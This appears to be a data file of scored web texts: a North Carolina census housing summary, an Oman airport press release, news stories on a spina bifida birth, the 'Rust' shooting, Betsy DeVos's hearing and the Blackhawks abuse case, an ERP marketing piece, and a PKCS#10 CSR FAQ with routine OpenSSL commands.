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0.999828	North Carolina added 380,000 housing units in the past decade, an 8.8% increase according to the 2020 Census. During the same period, population increased by 9.5% to 10.4 million, slightly outpacing housing supply. The latest growth rates represent a slowdown from the previous decade (2000 to 2010), when the number of housing units grew by 22.8% and population grew by 18.4%. The Great Recession and the slow recovery that followed reduced demand for new construction in the short term. However, certain parts of the state have continued to see double-digit growth in their housing stock since 2010. Source: U.S. Census Bureau, 2020 Decennial Census Counties that experienced the greatest population gains also saw the largest increases in housing. For example, Johnston County saw the biggest increase in population over the past decade at 27.5%, with a 24.6% increase in housing units. In absolute terms, Wake had the largest increase, adding 90,746 units, followed by Mecklenburg, which added 80,456. The counties with the largest percentage increases in housing units between 2010 and 2020 were: Johnston (24.6%) Wake (24.4%) Onslow (23.4%) Cabarrus (21.5%) Durham (20.2%) While metropolitan areas saw significant gains, many nonmetropolitan areas were more likely to experience a decline in both population and housing. Nearly half of North Carolina counties lost people and housing units, with Anson losing the highest percentage of its housing stock. Units may be lost due to converted use, demolition, or in some cases, natural disasters. The counties with the largest declines in housing units between 2010 and 2020 were: Anson (-15.0%) Bladen (-14.6%) Graham (-12.1%) Columbus (-10%) Northampton (-9.5%) Rural counties, especially those in recreation and tourism areas, also have higher vacancy rates than urban counties with tight housing markets. Dare County, which includes the Outer Banks and has a large share of second homes and seasonal tourism, had the highest vacancy rate at 53.4%, whereas Union County, part of the Charlotte metropolitan area, had the lowest vacancy rate at 4.3%. Meanwhile, the average vacancy statewide is 11.6%. Both very high and very low vacancy rates can present challenges for affordability as low-wage workers often compete for limited housing options. Taken in April 2020, the Census does not capture the impacts of the pandemic, but it gives insight into the broader demographic shifts that have occurred in the state. As more detailed data, including household size and tenure, from the Census is released in the future, affordable housing practitioners will better understand the needs in their communities. To learn more about the 2020 Census results, visit this website. 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0.99999	On Thursday, 4 November 2021, Sohar Airports received its first flight of Fly Dubai, the low-cost economic airline in the United Arab Emirates and launched the direct line between Sohar and Dubai International Airport at the rate of two flights per week, Thursday and Saturday. The launch of this direct line comes as a result of the continuous efforts to promote air traffic in the Sultanate's airports managed by Oman Airports, and to cope with challenges imposed by the Covid-19 pandemic. Oman Airports states that the return of international flights from and to Sohar Airport in less than two months, since the lift of the quarantine requirement decision and the requirement of the PCR test upon arrival in the Sultanate for those who had received the two Covid-19 vaccine doses, reflects the magnitude of efforts made by Oman Airports in the aspects of uplifting the operational scale of Sohar Airport, as well as the importance of the airport's strategic status. dubai Oman Airports expressed their pleasure and happiness to receive the first flight of Fly Dubai from Dubai International Airport. The launch of this new line will greatly serve both countries as it will revive the economical and tourist activity in the Northern and Southern Al Batinah province. With the resumption of passenger flights at Sohar Airport, we look forward to strengthening our contribution to informing passengers and visitors of all the outstanding tourist and recreational attractions offered by the city of Sohar. We'll keep you updated with our latest news! This is not a valid email address. Email address English Newsroom Share this release Two trips a week, Sohar Airport welcomes its first Fly Dubai flight Share on: Twitter Share on: Facebook Share on: LinkedIn Latest news 24 Nov 2021 - Airports Council International General Assembly unanimously votes for the Sultanate of Oman to chair the Council 03 Nov 2021 - Muscat International Airport welcomes the First Flight of Edelweiss Airline 31 Oct 2021 - On the Basis of Three Flights A week Muscat International Airport Welcomes Wizz Air Abu Dhabi 25 Oct 2021 - Air France launches direct route flights between Paris and Muscat 11 Oct 2021 - "All of Us, One Hand”, Oman Airports participated in a voluntary campaign to stand by those affected by Cyclone. Shaheen 20 Sep 2021 - Update on travel restrictions related to COVID-19. About Who We Are History Muscat, Sultanate Of Oman +968 24351234 [email protected] Regional Airports Muscat Intl. Airport Salalah Airport Suhar Airport Duqm Airport Muscat, Sultanate Of Oman +968 24351234 [email protected] Muscat, Sultanate Of Oman +968 24351234 [email protected] Copyright © All Rights Reserved. Cookie policy Privacy Policy Terms & Conditions Some modules are disabled because cookies are declined. Accept cookies to experience the full functionality of this page.
0.939709	Mother told to abort her baby at 20 weeks over fears he would 'be paralysed and have no quality of life' gives birth a healthy son - News Home Joining Enquiry Contact Us Donate Now Home News Campaigns Blog Resources FAQ's Events Donate Now About Us Contact Us Mother told to abort her baby at 20 weeks over fears he would 'be paralysed and have no quality of life' gives birth a healthy son At her 20 week scan, Gemma Rogers, 24, was told to abort her foetus Medics said the baby boy had spina bifida, meaning he would be paralysed She defied doctors and Ciaran, now 3, was born completely healthy Miss Rogers is 'furious' doctors told her to abort and wants an apology At her 20-week scan, medics told the 24-year-old her baby would likely be born paralysed, incontinent and would have no quality of life. She was urged to terminate the pregnancy, but was so desperate to be a mother she refused the procedure - and says it's the best decision she has ever made. But, Ciaran, now three, was born with no health problems and is developing like any other toddler. He has defied doctors to learn to walk and be potty trained. Ciaran was born in May 2012 weighing a healthy 5lb 13oz by Caesarean-section at Glasgow Royal Infirmary Miss Rodgers, a student from Cumbernauld, North Lanarkshire, is now slamming doctors at Glasgow Royal Infirmary. She said: 'A mother's instinct is always right and I knew from the moment I was told he would be disabled that I didn't want to give up hope on my son. 'I'm so glad I didn't because he is perfect in every way. 'He is a real miracle and I am furious at the doctors who told me to get rid of him.' Miss Rogers and her partner at the time Ross Kelter, 31, a floor layer, were devastated when they were told at the 20-week scan that their baby would be paralysed. Doctors warned the unborn baby boy had spina bifida, a condition where the spine does not develop properly. They said this meant he would never walk, talk or go to the toilet for himself and would have a drastically shortened life expectancy. Miss Rogers was advised she could choose to terminate the pregnancy then and there, but the mother-to-be chose not to give up on her son. She said: 'When we were told our baby would have no life at all, we were heartbroken. 'But I've always wanted to be a mum and just couldn't bear to terminate my pregnancy.' Ciaran was born in May 2012 weighing a healthy 5lb 13oz by Caesarean section at Glasgow Royal Infirmary, before being whisked away for three days of tests. Miss Rogers said: 'Doctors said he would need a shunt fitted in his brain to drain any fluid and it was written into his medical notes that he had been born with the severest form of spina bifida.' Incredibly, Ciaran defied doctors' predictions by being absolutely fine - and he even learned how to walk at just 15 months old. Although doctors said he would be incontinent and wanted to catheterise him as a baby, Ciaran, now three, is now fully potty trained and happy and healthy. Miss Rodgers said: 'I would very much like an apology from the hospital. 'I could have terminated my pregnancy because of their warnings and I don't see how they could have got it so wrong. 'The moment I saw Ciaran walk was the best day of my life, it was amazing. Now as he gets older, I see he is just like any other child. He is a real miracle. A spokesperson for NHS Greater Glasgow and Clyde, who run the Glasgow Royal Infirmary, said no pregnant woman would be pressured into having an abortion. They said: 'This patient's ultrasound scan was performed by experienced Consultant Obstetricians skilled in Fetal Medicine who then provided further follow up care. 'With reference to NHS HIS (Healthcare Improvement Scotland) Pregnancy and Newborn Screening Standards and in line with normal practice a skilled member of staff, usually a consultant obstetrician, would discuss the findings from an ultrasound scan where a diagnosis of spina bifida had been made. 'During this consultation the clinician would make her aware that there are a range of physical or mental disabilities that may affect their baby including the most severe end of the spectrum of abnormalities together with the milder end of the spectrum of abnormalities. 'We would always acknowledge at this time that there is a degree of uncertainty and inaccuracy in attempting to predict the degree of mental or physical disability that the child will be affected with. They added: 'Our staff also have a duty to discuss with the pregnant woman all of the available options which would include the offer of a termination. 'However, no pregnant woman would be pressured into making the decision to terminate a pregnancy. 'We have written to the patient addressing all the concerns she has raised and are sorry she remains dissatisfied with our full response.'
0.992374	A Certificate Signing Request (CSR) is a message sent to a Certification Authority (CA) to request a public key certificate for an entity, where the entity is the subject of the certificate, for example, a web server. The CSR is typically generated by the software that requires a certificate; most web servers, for example, are able to generate their own CSRs. Before a CSR can be created, however, the software creating the CSR must generate a key pair; the key pair comprises a public and private key. The public key is bundled with the subject's name, and other information to form the CSR. The private key is used to sign the CSR and should be stored securely. The most widely used format for CSRs is defined by RSA in the PKCS#10 specification. Another, far less common CSR format is the Signed Public Key and Challenge (SPKAC), which was defined by Netscape for use inside their browsers. Unless otherwise stated, this FAQ describes the PKCS#10 CSR. What does a CSR contain? To view the contents of a CSR, use our CSR Decoder or the OpenSSL tool. Top Level Structure The top level ASN.1 description of a CSR is shown below: CertificationRequest ::= SEQUENCE { certificationRequestInfo CertificationRequestInfo, signatureAlgorithm AlgorithmIdentifier, signature BIT STRING } The PKCS#10 CSR can be considered as two parts: The Certification Request Information part The Signature part (i.e., signatureAlgorithm + signature) CSR Fields The diagram below shows these two parts. The Certification Request Information part has four fields and is the part of the CSR signed by the entity's private key. The Signature part has two fields. Version version of the PKCS#10 standard supported. Should be set to 0 (which, strangely enough, means v1.7). Distinguished Name (DN) is the distinguished name of the entity the certificate is being requested for. Public Key contains the entity's public key. Attributes are a collection of attributes that may be included with the request. Signature Algorithm identifies the algorithm used to sign the CSR Digital Signature is the signature created using the entity's private key Optional Attributes The purpose of the optional Attributes is threefold: to provide the CA with additional information about the entity such as a postal address, to communicate attributes to be included in the certificate (for example an email address), and to provide a challenge passphrase that can be used at a later stage if required to revoke the certificate. Some attributes that may be useful are defined in PKCS#9. Certificate Request Info Structure The entity's private key is not included in the CSR, but it is used to create the Digital Signature over the Certification Request Information part. Below is the ASN.1 description of the Certification Request Information part of the CSR. CertificationRequestInfo ::= SEQUENCE { version INTEGER { v1(0) } (v1,...), subject Name, subjectPKInfo SubjectPublicKeyInfo, attributes [0] Attributes } The signature over the Certification Request Information part proves to the CA that the requester is in possession of the corresponding private key. This is known as Proof of Possession (PoP). What's the process for constructing a CSR? The process by which a CSR is constructed involves the following steps: A Certification Request Info value containing a version number, a distinguished name (DN), a public key, and optional attributes is constructed by the entity requesting a certificate. The Certification Request Information value is signed with the entity's private key. The Certification Request Information value, a signature algorithm, and the entity's signature are collected together to make the CSR. The CSR is often constructed by the application requesting the certificate, such as a web server. What size should the RSA key be? When deciding what size key to use, consideration should be given to your security requirements. What data is being protected? What threats may it be exposed to? How long does it need to be protected for? The larger the key, the greater the security it provides, but also the slower the cryptographic operations. Consideration should also be given to compatibility. What applications will be using the certificate? Are there any restrictions on the key sizes the applications can work with? As of 2017, the CAB forum recommends key strengths are at least 2048-bit RSA. Can I check for Debian weak keys? Yes, you can check for weak Debian RSA keys in a CSR or certificate by using our CSR Decoder and Certificate Decoder. You can also check if your websites are using Debian weak keys by using our SSL Checker or Bulk SSL Checker. Please note that all tools that check for Debian weak keys do rely on blacklists and may not be 100% complete. Let's look at some of the background to this issue with Debian based systems. Back in May 2008, the Debian team announced that Luciano Bello had discovered a bug in the random number generator of the Debian OpenSSL package. This meant that all SSL and SSH keys generated on Debian based systems released between September 2006 and May 2008 may be vulnerable. There are many Debian based systems including but not limited to: Ubuntu, Damn Small Linux, Linspire and Xandros. The Debian Security Team disclosed this vulnerability in Debian Security Advisory 1571. The best resource on this vulnerability is the Debian Wiki. It is estimated that a private key generated by the flawed crypto package has between 15 and 17 bits of entropy. In other words, not secure. To check that your CSR or certificate does not contain a weak RSA key from this buggy version of OpenSSL you can use our online CSR Decoder and Certificate Decoder. Below is an example of a CSR that has a weak key: -----BEGIN CERTIFICATE REQUEST----- MIIBizCB9QIBADBMMQswCQYDVQQGEwJHQjESMBAGA1UECBMJQmVya3NoaXJlMRAw DgYDVQQHEwdOZXdidXJ5MRcwFQYDVQQKEw5NeSBDb21wYW55IEx0ZDCBnzANBgkq hkiG9w0BAQEFAAOBjQAwgYkCgYEA5fy56mgUe5YqxNxwzLdRricjfVwgc9pRGbYc sV+uSgRRpGVImD8AD45avTw0wdICGDTAiBAxSQCZfsZfdp42YSuOy/LePj2sTKQk azOpM9SmOf4E7OPWd94O9Jv809d7EzZh4yu+9tEDVgiDNhqZraHYl3nAwBCOw2lt CkxUnwUCAwEAAaAAMA0GCSqGSIb3DQEBBQUAA4GBANYS454tPh2QD3bS911kS3/F BqOzbWWuNnh5nxH/ObB2x841h2MujLpOmrjeudON7siRb3VCn/K/rRQ0Q0fbrZ5R rjWY2bSwYAziRon/JgI7uKnfIjRGktrFwlQptCkFfbr42GmV3mWjaHRqk+udP39m n8ukO4LSxo1REOW1vdGD -----END CERTIFICATE REQUEST----- Please also see our article over at Cert Logik that has more examples of Debian weak keys in CSRs and Certificates and also more information on the tools you can use to locate Debian weak keys. What does the CA do with the CSR? The CA examines the CSR, which it considers to be a wish list from the requesting entity. If the request is in line with the CA's policy or it can be modified to bring it in line, the CA will issue a certificate for the requesting entity. Once issued the certificate is sent to the requesting entity and/or a certificate repository such as an LDAP directory. What does a CSR look like? The most widely used syntax for a CSR is defined by the PKCS#10 specification. It is possible to encode a PKCS#10 CSR in binary or text formats. Text Format The text or PEM (Privacy Enhanced Mail) formatted CSR is the binary CSR after it has been Base-64 encoded to create a text version of the CSR. It also includes additional header and footer lines which enclose the Base-64 and provide an indication of the content. A text formatted CSR can be viewed in a text editor or pasted into an email. Below is an example of a PEM encoded CSR. You can use our CSR Decoder to decode the CSR, verify its signature, and display the information contained within it. -----BEGIN CERTIFICATE REQUEST----- MIIBozCCAQwCAQAwYzELMAkGA1UEBhMCZ2IxDzANBgNVBAgTBnN0YWZmczEOMAwG A1UEBxMFc3Rva2UxFTATBgNVBAoTDENTUiBEZWNvZGVyczEcMBoGA1UEAxMTd3d3 LmRlY29kZWNzci5jby51azCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAzrUU 2GDhmYUY7qJ/UgUanDOF7ou9PG9xyng1du/Cbj1T6Sq48GnChgfAy9p/VwVOW4RA 393vMM6ewfUx18S9Um3V0LZ4m4a2Qyn5ZQAO2lwVmtKFDkFjnn6NndyC1xtB9kQg TU4mne4cvvHuxxDTssdjiu0qFRFwqA5NST32r4ECAwEAAaAAMA0GCSqGSIb3DQEB BQUAA4GBADaragMxUdVEpATqDSGj2twASbCloT5OdeSjE2/dha+6nSTe8mN/7ALD E2gtYXyfY1xebfxbMzddKkl/OTRyBnBS1VemuG5XzUkU9b1dCoV6dcxGVb0K0Z9D 4d5P9aqq//WHGKIwDsfut4gAAjrOshLlw6b4eFLacuRLRVuw+qBE -----END CERTIFICATE REQUEST----- Binary Format The binary formatted CSR is also known as the ASN.1 or DER encoded CSR. It is an ASN.1 structure (defined by PKCS#10) that has been encoded using the Distinguished Encoding Rules (DER). If you open a binary encoded CSR in a text editor you will see lots of strange looking characters. How do I generate a CSR? While some applications that use certificates can generate keys and CSRs themselves, others rely on an external tool such as OpenSSL to do the work. The command line below shows how to generate a CSR using OpenSSL. After providing OpenSSL with information about the certificate you will end up two files: a new private key called server.key and a certificate request called server.csr. openssl req -new -newkey rsa:1024 -keyout server.key -out server.csr How do I decode a CSR? We've written a web based CSR Decoder tool to decode CSRs online. If your CSR contains information that you do not want to send over the Internet (such as a challenge passphrase), you can decode CSRs locally on your own machine using the following OpenSSL command: openssl req -in server.csr -noout -text How do I verify the signature on a CSR? Our CSR Decoder will verify the signature on a CSR. Alternatively you can use the following OpenSSL command: openssl req -in server.csr -noout -text -verify How do I convert a CSR from PEM to DER format? openssl req -in csr.pem -out csr.der -outform DER How do I convert a CSR from DER to PEM format? openssl req -in csr.der -inform DER -out csr.pem -outform PEM Should the DN be encoded as UTF-8? There was a PKIX Working Group requirement that all distinguished names (DNs) should be encoded as UTF-8 after December 31 2003. However, the requirement has since been removed and most CAs ignored it anyway because of the interoperability issues it would cause. The majority of CAs use strings called PrintableString to encode the attributes of a DN. --- Feedback and suggestions about this article are appreciated and can be emailed to the author Phil Ratcliffe at [email protected] Last modified: 20th Sept 2017 Contact Us Please do not hesitate to contact us if you have any comments or questions about an article. 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0.966752	Movie set where cinematographer was fatally shot showed ‘some complacency’ with weapons, officials say - South Florida Sun-Sentinel Skip to content Sections xml:space="preserve"> Search xml:space="preserve"> Forecast Today's Paper Newsletters Obituaries Storms in the forecast. Check our radar before heading out. Learn more about subscriptions Learn more about subscriptions DeSantis proposes plan to fight rising seas without any ‘left-wing stuff’ Confusion after Broward juror recants manslaughter conviction In his new PSA, Florida surgeon general touts treatments with little track record for COVID Dolphins Q&A: Who could Dolphins target at receiver to complement Jaylen Waddle? Hospitalized COVID patient in Tampa is first case of omicron in Florida A polo multimillionaire went to prison over deadly DUI crash. Now John Goodman claims new proof could free him. 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Santa Fe County Sheriff Adan Mendoza noted that 500 rounds of ammunition — a mix of blanks, dummy rounds and live rounds — were found while searching the set of the Western “Rust.” Advertisement “Obviously I think the industry has had a record recently of being safe. I think there was some complacency on this set, and I think there are some safety issues that need to be addressed by the industry and possibly by the state of New Mexico,” Mendoza told a news conference nearly a week after the shooting. Authorities also confirmed there was no footage of the shooting, which happened during a rehearsal. Advertisement Investigators believe Baldwin’s gun fired a single live round that killed cinematographer Halyna Hutchins and wounded director Joel Souza. Detectives have recovered a lead projectile they believe the actor fired last week. Testing is being done to confirm whether the projectile taken from Souza’s shoulder was fired from the same long Colt revolver used by Baldwin. The FBI will help with ballistics analysis. Two other guns were seized, including a single-action revolver that may have been modified and a plastic gun that was described as a revolver, officials said. Souza, who was standing behind Hutchins, told investigators there should never be live rounds present near the scene. “We suspect that there were other live rounds, but that’s up to the testing. But right now, we’re going to determine how those got there, why they were there because they shouldn’t have been,” Mendoza said. District Attorney Mary Carmack-Altwies said investigators cannot say yet whether it was negligence or by whom. She called it a complex case that will require more research and analysis. “It will take many more facts, corroborated facts, before we can get to that criminal negligence standard,” she said. Investigators said they planned to follow up on reports of other incidents involving misfires with guns on the set. The shooting has baffled Hollywood professionals and prompted calls to better regulate firearms on sets or even ban them in the age of seamless computer-generated imagery. Court records say that an assistant director grabbed the gun from a cart and indicated the weapon was safe by yelling “cold gun.” The film’s weapons specialist or armorer, Hannah Gutierrez Reed, said she checked dummy bullets on the day of the shooting to ensure that none were “hot” rounds. She also told a detective that while the guns used for filming were locked up during a crew lunch break, ammunition was left on a cart unsecured, according to a search warrant released Wednesday ahead of the news conference. Gutierrez Reed told a detective that no live ammo was ever kept on the set. Assistant director David Halls, who handed the gun to Baldwin before the shooting, said Gutierrez Reed typically opened the hatch of the gun and spun the drum, though he couldn’t recall if she did that before the shooting. He said he only remembered seeing three rounds in the gun, according to the warrant. After the shooting, Halls took the gun to Gutierrez and said he saw five rounds in the gun, at least four of them were “dummy” rounds indicated by a hole on the side and a cap on the round. Halls said there was also a casing in the gun that did not have the cap and did not have the hole indicating it was a dummy, the warrant said. Halls “advised the incident was not a deliberate act,” according to the warrant, which was issued Wednesday in order to search a truck that was used on the set. Breaking News Alerts Newsletter As it happens Get updates on the coronavirus pandemic and other news as it happens with our free breaking news email alerts. You are now following this newsletter. See all newsletters. Baldwin, 63, who is known for his roles in “30 Rock,” “The Departed” and “The Hunt for Red October” along with his impression of then-President Donald Trump on “Saturday Night Live,” has described the killing as a “tragic accident.” The gun Baldwin used was one of three that the armorer had placed on a cart outside the building where a scene was being rehearsed, according to court records. Latest US & World News Woman testifies Ghislaine Maxwell abused her at age 14 Biden-Putin square off as tension grows on Ukraine border Instagram says parental controls will arrive in March The production of “Rust” was beset by workplace disputes from the start in early October. Hours before the shooting, several camera crew members walked off the set amid discord over working conditions, including safety procedures. Baldwin in his role as actor appeared unlikely to be held criminally or civilly liable for the tragedy. As a producer, however, he is among a long list of associates on the film who could face some sort of liability. Concerns have been raised about Halls’ safety record by colleagues on two previous productions. Halls has not returned phone calls and email messages seeking comment. Rust Movie Productions, the production company, says it is cooperating with authorities and conducting its own internal review of procedures with the production shut down.
0.996586	Everyone is talking about erp digital transformation these days, but many businesses are unsure what it means to them and where to begin. Predictive analytics, artificial intelligence, and robotic process automation are frequently related with digital transformation. Common commercial software, such as enterprise resource planning (ERP) systems, don't always elicit the same enthusiasm. Despite the fact that ERP isn't new or revolutionary, it is moving from the back office to the forefront of business digitization. While ERP has traditionally been used to assist firms combine traditional business-management solutions, it now serves as a flexible basis for integrating more cutting-edge technology. How can ERP help family business digital transformation? Find the answer in the article below! Is It The Right Time to Invest in ERP Software? ERP Transformation Simply said, a properly built ERP system can support businesses in strategically improving their digital maturity and driving transformation. In most businesses, the ERP system serves as the heart and basis of the company's operations. Implementing a modern ERP solution is often the core of strong, long-term digital transformation initiatives, but it is often disregarded by companies that do not recognize the importance of ERP in this field. ERP software, which integrates analytics, automation, and big data to drive process and operational productivity and efficiencies, is one of the most potent methods to do this. ERP has the power to transform all processes within your business, from inventory management to enhancing efficiencies across sales, purchasing, finance, and accounting, because it takes a holistic view of your complete organization. There are countless other advantages that ERP provides to firms that wish to be as future-proof as possible: Make data-driven business decisions that have a big impact. Modern ERP allows for a continuous flow of data across the organization. Scalability In order to grow, you must scale. Scalability, on the other hand, is much easier said than done. In addition, a company does not scale in a vacuum. In order to support firms that are scaling, tools, processes, and functions must also change. That is exactly what a modern ERP system is supposed to achieve. Regardless of how tiny your company is now, your customized ERP solution will be able to manage a variety of business duties. Alternatively, how big you get. Increased efficiency ERP aims to increase your company's efficiency by automating processes. Employee productivity is enhanced when manual duties are handled by an ERP system. Fortune 500 businesses aren't the only ones who use modern ERP solutions. Companies of all sizes benefit greatly from deploying an ERP solution that is tailored to their specific needs. If you're starting your digital journey with an ERP system, here are some tips on how to get the most out of your ERP implementation as a first step. Allign ERP and Digital Strategy ERP should be completely integrated with your company's digital strategy, as well as its business goals and processes. ERP must be ingrained in the company culture and serve as the foundation for technological transformation, according to T and business leaders. To ensure that the deployment goes beyond technology, executive buy-in will be crucial. Implement in phases There's a good chance that implementing an ERP system may affect day-to-day operations for a while. Keep in mind that, depending on the size and complexity of the organization and its activities, typical deployments last 10 to 18 months. The danger of disruption can be reduced by deploying in stages. Many firms choose to adopt ERP via modules, changing them as needed. Enterprise Resource Planning: 4 Signs Your Company Is Crying for a Help Rewrite the right business processes The deployment or upgrading of an ERP system gives you the chance to re-engineer and document operational procedures right from the start. The goal is to rethink and optimize your business processes in such a way that activities are standardized across functional units and cutting-edge technologies can be integrated. Maximize your data ERP provides a consolidated information platform and a single point of truth, and data is the lifeblood of your organization. However, the value of the insights you gain will be limited by the quality of the underlying data. To gain significant insights into your business performance, data must be interoperable across all relevant sources. It's also critical that data is correct, especially when using data-driven technology. Make ERP customer-centric ERP's potential to improve the customer experience is one of its most powerful features. That is also a crucial driver of digital transformation – and an excellent conclusion. The next level in digital maturity If your company already has a solid, well-integrated ERP system, you may be in a position to build on that foundation and get the most out of your ERP investment by incorporating emerging technologies such as AI, RPA, and advanced analytics. Is it Possible for Your Company to Survive Without an ERP System? Conclusion Digital transformation is an urgency that must be targeted by family businesses to remain relevant in their fields. ERP software is the first step as well as a strong foundation for family businesses who want to carry out digital transformation, especially if your business wants more than just having a website and application. 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0.99999	It's Boston local news in one concise, fun and informative emailThank you! You have been subscribed to WBUR Today.We were unable to subscribe you to WBUR Today. You can try subscribing here or try again later. Advertisement Home//NPR News 5 Things To Look For In Betsy DeVos' Confirmation Hearing January 17, 2017 Eric Westervelt TwitterfacebookEmail Betsy DeVos, Trump's nominee for education secretary, faces tough questions as her Senate confirmation hearings begin. (Tom Williams/CQ-Roll Call Inc./Getty Images) There hasn't been a more controversial pick for secretary of education, arguably, in recent memory than Donald Trump's choice of Betsy DeVos. The Senate confirmation hearings for the billionaire Republican fundraiser and activist from Michigan start today. DeVos is a champion of vouchers and expanding charter schools in a broader push for greater school choice — closely aligned with the views of the president-elect. Her hearing was pushed back nearly a week because of Democrats' concerns over her "extensive financial entanglements and potential conflicts of interest," as Sen. Patty Murray of Washington put it. She's the top Democrat on the Senate Health, Education, Labor & Pensions Committee, which will conduct the hearing. Here are five areas of questioning that are likely to come up: 1. Money DeVos and her family have given more than a million dollars to sitting Republican senators, according to Federal Election Commission reports, as well as some $10 million more to superPACs and party committees. That has prompted numerous left-leaning groups, including End Citizens United, to call for some senators to recuse themselves on a DeVos confirmation vote. Given that DeVos once said she expects a return on investment for contributions, expect Democrats to challenge her on how the DeVos family has used its billions to support ballot measures, organizations, causes and politicians in Michigan, as well as some of the elected officials who'll be sitting in front of her. 2. ESSA Expect tough questions on President-elect Trump's call for redirecting some $20 billion in federal aid to school choice. Trump has yet to put any meat on the bones of that idea. DeVos will certainly be asked whether that idea might mean redirecting money from federal Title I programs for the poor and disadvantaged. Or whether the new administration will seek to reopen the Every Student Succeeds Act, which passed with rare bipartisan support in 2015. Supporters, however, say DeVos has the leadership and vision to radically shake up the federal education bureaucracy, foster change and further return power to the states. "Betsy has worked for years to improve educational opportunities for all children," is how Lamar Alexander, R-Tenn., put it. He's the former education secretary who chairs the committee. "As secretary, she will be able to implement the new law fixing No Child Left Behind just as Congress wrote it, reversing the trend to a national school board and restoring to states, governors, school boards, teachers, and parents greater responsibility for improving education in their local communities." 3. School choice Even some proponents of expanding choice options are voicing fears that DeVos favors an unbridled approach to choice, with too little oversight and accountability. Michigan has one of the least-regulated charter programs in the country and critics point to Detroit's troubles as one outcome of that. The state also has a high proportion of charter schools run by for-profit organizations. That's thanks, in part, to the advocacy and funding by DeVos, her family and the organizations they've supported. Sen. Murray put it this way in a release, after meeting with DeVos earlier this month: "I continue to have serious concerns about her long record of working to privatize and defund public education, expand taxpayer-funded private school vouchers, and block accountability for charter schools, including for-profit charter schools." GOP senators on the committee, meanwhile, seem thrilled that a strong advocate of greater school choice is before them. "Looking forward to working with her," Kentucky's Rand Paul tweeted after DeVos was nominated. 4. Vouchers Choice critics also worry that DeVos will push the federal government toward vouchers for private schools, a policy opponents say has amounted to a triumph "of ideology over evidence." "If confirmed, would you use your position as Secretary of Education to promote the expansion of private school voucher programs in public education?" Sen. Elizabeth Warren of Massachusetts asked in a 16-page letter listing more than 40 issues and questions she plans to bring up. Conservatives, meanwhile, are elated that they have a nominee who they believe will stand up to teachers unions they see as major impediments to choice and change. 5. Higher ed Where does DeVos stand on key higher ed issues of access, debt, affordability and accountability that got lots of attention during the presidential race? "There's not much to draw on there," says Lauren Asher, president of The Institute for College Access & Success. During the campaign, Trump did tell supporters at a rally, "If the federal government is going to subsidize student loans, it has a right to expect that colleges work hard to control costs and invest their resources in their students. If colleges refuse to take this responsibility seriously, they will be held accountable." Asher hopes nominee DeVos voices support for continued tough oversight of for-profit colleges, something the Obama administration prioritized. "Making sure that students including veterans and service members should be protected from waste, fraud and abuse plays directly into college affordability," Asher says. As the Century Foundation recently pointed out, Republicans have a long track record of standing up for the interests of students and taxpayers when it comes to higher education. DeVos is likely to get questions on one of the only higher ed proposals the Trump campaign outlined during the race: an income-driven repayment plan for federal student loans that caps a borrower's payment at no more than 12.5 percent of his or her monthly income. Remaining debt after 15 years of payments would be forgiven under Trump's plan. Sen. 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0.96785	COVID-19 vaccine for kids: More info, where to get it in Pa. Closings There is currently 1 active closing or delay <% if ( weatherAlerts > 0 ) { %> Severe Weather <% var weatherAlertsMessage = "There " + ( weatherAlerts > 1 ? "are" : "is" ) + " currently " + weatherAlerts + " active weather " + ( weatherAlerts > 1 ? "alerts" : "alert" ); %> ° Chance of precipitation Change MORE No Alerts & Closings in Your Area Sign Up to Get Future Alerts <% if ( count > 0 ) { %> 1 / 1 / Press enter to search Type to Search Search location by ZIP code ZIP <% if ( locations.length > 1 ) { %> Recent locations Advertisement Former NHL prospect speaks out about sexual assault allegations against coach Share Copy Link Copy {copyShortcut} to copy Link copied! Updated: 6:57 PM EDT Oct 28, 2021 By Kevin Dotson, Wayne Sterling and Jill Martin, CNN Former NHL prospect speaks out about sexual assault allegations against coach Share Copy Link Copy {copyShortcut} to copy Link copied! Updated: 6:57 PM EDT Oct 28, 2021 Hide Transcript Show Transcript Of attempts at close quarters. This is John Doe Kyle Beach the one time Chicago Blackhawks prospect who says he was sexually assaulted by a coach in 2010. I am a survivor and I know I'm not alone. I know I'm not the only one male or female and I buried this for 10 years interviewed today by journalist request head on TsN on the Blackhawks admission. They ignored his complaints. Trying to win a Stanley cup was more important than sexual assault and I can't believe that as a human being. I cannot believe that john doe deserves Snyder from the Blackhawks yesterday team Ceo Danny works released a report that found video coach brad Aldrich used his influence with other coaches to manipulate beach into a sex act. Management held off on acting to avoid bad publicity and disrupting the team during the Stanley cup final. Aldridge was there when the team won, he raised the cup and got his name on it. It made me feel like I didn't exist. It made me feel that I wasn't important. Weeks later Aldrich resigned, he went on to coach in college then high school where he was convicted of assault on a minor Blackhawks General manager stan bowman has resigned. The report also contradicts earlier statements from former coach Joel Quenneville on the bench tonight in florida and former assistant general manager kevin Chevelle day off now with Winnipeg that they knew nothing. Their futures may arrest on convincing Commissioner Gary Bettman Oiler Duncan Keith was on that 2010 Chicago team. He says the focus was on winning. Maybe that's hard for people to understand, but but you know, that's the truth. Not everybody knew and I didn't know. I do believe that everybody in that locker room knew about it. If these things happen to you need to speak up in the end. Beach never made it to the NHL. He's playing in europe, says hockey still has a long way to go when it comes to dealing with harassment. Cameron Mackintosh CBc News with a pick landed it. GET LOCAL BREAKING NEWS ALERTS The latest breaking updates, delivered straight to your email inbox. Your Email Address Submit Privacy Notice Advertisement Former NHL prospect speaks out about sexual assault allegations against coach Share Copy Link Copy {copyShortcut} to copy Link copied! Updated: 6:57 PM EDT Oct 28, 2021 By Kevin Dotson, Wayne Sterling and Jill Martin, CNN When he was 20 years old in 2010, Kyle Beach was pursuing his NHL dream when he was called up to the Chicago Blackhawks as a "Black Ace," a prospect player who could be available to play for the NHL club if needed. It was a couple of weeks later, Beach, now 31, said in an interview Wednesday with Canadian sports television station TSN, that his life "was changed forever."On Tuesday, the NHL announced it had fined the Blackhawks $2 million for what the league described as "the organization's inadequate internal procedures and insufficient and untimely response" relating to the team's handling of alleged incidents of sexual misconduct involving former video coach Brad Aldrich in 2010. The league says it punished the team following an independent investigation.The Blackhawks commissioned a probe after a lawsuit was filed over the 2010 incident earlier this year by an unidentified hockey player, according to the report. The independent investigation determined that on May 8 or 9, 2010, there was a sexual encounter between Aldrich and the unidentified 20-year-old player, who was a member of the Blackhawks' minor league affiliate team, at Aldrich's apartment. The player alleged that Aldrich sexually assaulted him while Aldrich contended that the encounter was consensual, the report reads.Beach, who now plays professionally in Germany, has come forward as the "John Doe" in the report and as "John Doe" in the lawsuit. On Wednesday, he expressed "a great feeling of relief and vindication" and that "it was no longer my word against everybody 